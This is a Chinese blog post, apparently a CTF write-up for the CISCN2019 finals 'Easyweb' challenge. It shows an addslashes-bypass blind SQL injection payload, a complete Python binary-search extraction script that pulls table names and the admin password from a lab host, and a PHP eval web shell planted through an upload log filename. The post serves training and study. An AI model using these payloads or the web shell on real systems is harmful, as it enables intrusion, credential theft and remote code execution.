程序员的资源宝库

网站首页 > gitee 正文

WEB|[CISCN2019 总决赛 Day2 Web1]Easyweb

sanyeah 2024-04-04 11:08:35 gitee 5 ℃ 0 评论


有登录框可能有注入,查看源码有一个图片链接id直接曝露出来也了可能有注入

查看robots.txt文件,提示有备份文件,尝试已知php文件,得到image.php.bak备份文件

image.php源码

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

对传入的$id和$path参数先进行了特殊字符转义,然后匹配指定字符串为空,最后将参数带入sql语句,所以只要绕过就有SQL注入

  • addslashes():将指定的字符前加上\以转义,包括\,',",NULL
  • str_replace(array("\0","%00","\'","'"),"",$id):这里的\0匹配的是\0,前一个\为转义后一个\,所以是匹配\0,%00,','为空

payload:

/image.php?id=\0&path=or sleep(1)#

# addslashes()
id=\\0&path=or sleep(1)#
# str_replace()
id=\&path=or sleep(1)#
# 代入sql语句,select * from images where id='{$id}' or path='{$path}'
select * from images where id='\' or path='or sleep(1)#'
id中的\转义了后一个',所以id='\' or path=',只需要更改sleep(1)要查询的语句

别人的脚本:
这里使用的是下二分法将匹配数据的每个字符转为十六进制与十六进制表相比较,也可以依次将十六进制数递增比较,但是二分法更快

import requests
import time
def exp(url_format,length=None):
    rlt = ''
    url  = url_format
    if length==None:
        length = 30
    for l in range(1,length+1):
        begin = 32
        ends = 126
        tmp = (begin+ends)//2
        while begin<ends:
            r = requests.get(url.format(l,tmp))
            if r.content!=b'':
                begin = tmp+1
                tmp = (begin+ends)//2 
            else:
                ends = tmp
                tmp = (begin+ends)//2
        if tmp==32:
            break
        rlt+=chr(tmp)
        print(rlt)
    return rlt.rstrip()
# url ='http://429b546d-0ffe-489e-8165-32ee993453be.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr(database(),{},1))>{}%23'
# print('数据库名为:',exp(url))
# 数据库名为: ciscnfinal

# url ='http://429b546d-0ffe-489e-8165-32ee993453be.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()),{},1))>{}%23'
# print('表名为:',exp(url))
# 表名为: images,users

# url ="http://429b546d-0ffe-489e-8165-32ee993453be.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273 and table_schema=database()),{},1))>{}%23"
# print('列名为:',exp(url))
# 列名为: username,password

# url ='http://429b546d-0ffe-489e-8165-32ee993453be.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(username)%20from%20users),{},1))>{}%23'
# print('用户名为:',exp(url))
# 用户名为: admin

url ='http://429b546d-0ffe-489e-8165-32ee993453be.node4.buuoj.cn:81/image.php?id=\\0&path=or%20ord(substr((select%20group_concat(password)%20from%20users),{},1))>{}%23'
print('密码为:',exp(url))
密码为: afe459b227c958822614

因为过滤的原因这里table_name使用的是十六进制
得到用户名密码

admin:afe459b227c958822614


使用用户名密码登录成功,为文件上传页面

上传一个一名话木马,提示不能上传php文件

上传一个图片,提示将文件名保存到了logs/upload.1b6d558737c7b875583b20865e3dd372.log.php


可以将php代码放到文件名中,然后就会保存到日志文件中,日志文件也是php文件

<?php @eval($_POST['shell']);?>

但是使用普通的一句话木马,php代码被检测到了

使用另一个没有php字符的一句话上传成功

<?=@eval($_POST['shell']);?>


蚁剑连接成功得到flag

flag{19a0fbee-1a7a-4931-8bb7-128c39c82111}

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表